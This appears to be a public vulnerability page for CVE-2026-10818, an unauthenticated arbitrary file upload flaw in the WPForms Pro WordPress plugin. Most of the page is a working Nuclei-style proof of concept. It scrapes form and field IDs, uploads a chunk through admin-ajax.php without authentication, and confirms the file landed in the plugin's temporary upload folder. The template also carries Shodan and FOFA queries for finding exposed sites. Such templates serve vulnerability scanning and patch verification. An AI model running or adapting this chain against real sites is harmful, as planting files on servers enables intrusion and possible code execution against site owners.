CVE-2026-10818: WPForms Pro <= 1.10.1.1 - Unauthenticated Arbitrary File Upload

2026-10-08 PoC Public

Description

WPForms Pro for WordPress up to and including 1.10.1.1 allows unauthenticated arbitrary file upload. The wpforms_upload_chunk_init, wpforms_upload_chunk and wpforms_file_chunks_uploaded AJAX actions are registered for unauthenticated visitors without a nonce check, and raw chunk bytes are written under wp-content/uploads/wpforms/tmp/ before file extension and MIME type validation happens, so a rejected upload never removes the already written file. An unauthenticated attacker can plant arbitrary files and, depending on server configuration, achieve remote code execution.

PoC

id: CVE-2026-10818

info:
  name: WPForms Pro <= 1.10.1.1 - Unauthenticated Arbitrary File Upload
  author: i-am-paradox
  severity: high
  description: |
    WPForms Pro for WordPress up to and including 1.10.1.1 allows unauthenticated arbitrary file upload. The wpforms_upload_chunk_init, wpforms_upload_chunk and wpforms_file_chunks_uploaded AJAX actions are registered for unauthenticated visitors without a nonce check, and raw chunk bytes are written under wp-content/uploads/wpforms/tmp/ before file extension and MIME type validation happens, so a rejected upload never removes the already written file. An unauthenticated attacker can plant arbitrary files and, depending on server configuration, achieve remote code execution.
  impact: |
    Unauthenticated attackers can plant arbitrary files in the webroot, which can lead to remote code execution when the written file is reachable and interpreted by the server.
  remediation: |
    Update WPForms Pro to a version later than 1.10.1.1.
  reference:
    - https://github.com/Nxploited/CVE-2026-10818
    - https://nvd.nist.gov/vuln/detail/CVE-2026-10818
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2026-10818
    epss-score: 0.02482
    epss-percentile: 0.84098
    cwe-id: CWE-434
  metadata:
    verified: true
    max-request: 4
    vendor: awesome-motive
    product: wpforms
    shodan-query: http.html:"wpforms-uploader"
    fofa-query: body="wpforms-uploader"
  tags: cve,cve2026,wordpress,wp-plugin,wpforms,fileupload,unauth,intrusive

variables:
  dzuuid: "{{randstr}}"
  chunkname: "{{sha1(dzuuid)}}"

flow: http(1) && http(2) && http(3) && http(4)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 3
    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "wpforms-uploader")'
        internal: true
    extractors:
      - type: regex
        name: form_id
        regex:
          - 'data-form-id="(\d+)"'
        group: 1
        internal: true
      - type: regex
        name: field_id
        regex:
          - 'data-field-id="(\d+)"'
        group: 1
        internal: true
      - type: regex
        name: input_name
        regex:
          - 'data-input-name="([^"]+)"'
        group: 1
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=wpforms_upload_chunk_init&form_id={{form_id}}&field_id={{field_id}}&name=nx-{{randstr}}.txt&dzuuid={{dzuuid}}&dztotalfilesize=32&dztotalchunkcount=1

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----nxBoundary

        ------nxBoundary
        Content-Disposition: form-data; name="action"

        wpforms_upload_chunk
        ------nxBoundary
        Content-Disposition: form-data; name="form_id"

        {{form_id}}
        ------nxBoundary
        Content-Disposition: form-data; name="field_id"

        {{field_id}}
        ------nxBoundary
        Content-Disposition: form-data; name="dzuuid"

        {{dzuuid}}
        ------nxBoundary
        Content-Disposition: form-data; name="dzchunkindex"

        0
        ------nxBoundary
        Content-Disposition: form-data; name="dzchunksize"

        32
        ------nxBoundary
        Content-Disposition: form-data; name="dztotalchunkcount"

        1
        ------nxBoundary
        Content-Disposition: form-data; name="dzchunkbyteoffset"

        0
        ------nxBoundary
        Content-Disposition: form-data; name="{{input_name}}"; filename="nx-{{randstr}}.txt"
        Content-Type: text/plain

        {{randstr}}
        ------nxBoundary--

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "\"success\":true")'
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-content/uploads/wpforms/tmp/{{chunkname}}-0.chunk HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "{{randstr}}")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a0047304502203316fc61d0e76174f9abb111600c54b6525ae9bd05fcf7c72897e540c0b20e43022100e73d136d43d8ca7d4ba9b87c41bc3ed8907be6bca6362070effaebf96d721b0a:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.